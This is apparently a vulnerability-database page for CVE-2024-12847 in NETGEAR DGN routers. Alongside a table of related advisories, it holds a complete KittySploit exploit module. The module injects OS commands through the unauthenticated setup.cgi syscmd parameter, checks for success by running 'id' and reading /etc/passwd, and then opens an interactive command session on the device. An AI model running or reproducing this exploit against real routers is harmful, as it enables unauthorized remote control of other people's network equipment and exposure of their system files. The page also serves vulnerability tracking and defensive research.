NETGEAR DGN - setup.cgi syscmd RCE (CVE-2024-12847)
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| The vulnerability of the embedded software of NETGEAR DGN1000 lies in the ability to bypass the authentication process by using an alternative path or channel, allowing a hacker to execute arbitrary code. | 13 Jan 202500:00 | – | bdu_fstec | |
| CVE-2024-12847 | 31 May 201311:34 | – | circl | |
| NETGEAR DGN1000 访问控制错误漏洞 | 10 Jan 202500:00 | – | cnnvd | |
| NETGEAR DGN1000 Command Injection Vulnerability (CNVD-2025-02105) | 21 Jan 202500:00 | – | cnvd | |
| CVE-2024-12847 | 10 Jan 202519:36 | – | cve | |
| CVE-2024-12847 NETGEAR DGN setup.cgi OS Command Injection | 10 Jan 202519:36 | – | cvelist | |
| EUVD-2024-51148 | 3 Oct 202520:07 | – | euvd | |
| NETGEAR DGN syscmd RCE (CVE-2024-12847) | 5 Oct 202614:20 | – | kittysploit | |
| NETGEAR DGN - setup.cgi syscmd Detection (CVE-2024-12847) | 10 Aug 202606:19 | – | kittysploit | |
| Netgear DGN1000 Setup.cgi Unauthenticated RCE | 5 Jun 201300:00 | – | metasploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR DGN setup.cgi syscmd RCE (CVE-2024-12847) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'NETGEAR DGN - setup.cgi syscmd RCE (CVE-2024-12847)',
'description': (
'Exploits unauthenticated setup.cgi?todo=syscmd command injection. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2024-12847'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-12847'],
'tags': ['netgear', 'dgn', 'rce', 'unauth', 'kev', 'cve-2024-12847'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2024_12847_detect'],
},
},
}
def execute(self, cmd: str) -> str:
safe = quote(str(cmd), safe='')
path = (
f'/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd={safe}'
'&curpath=/¤tsetting.htm=1'
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def handler_execute(self):
out = self.execute('id')
if not out or not (re.search(r'uid=\d+', out) or 'root:' in out):
# try cat /etc/passwd as NASL does
out2 = self.execute('cat /etc/passwd')
if not out2 or not re.search(r'root:.*:0:0:', out2):
print_error('Target does not appear vulnerable to CVE-2024-12847')
return False
print_success('NETGEAR DGN setup.cgi RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.29939
SSVC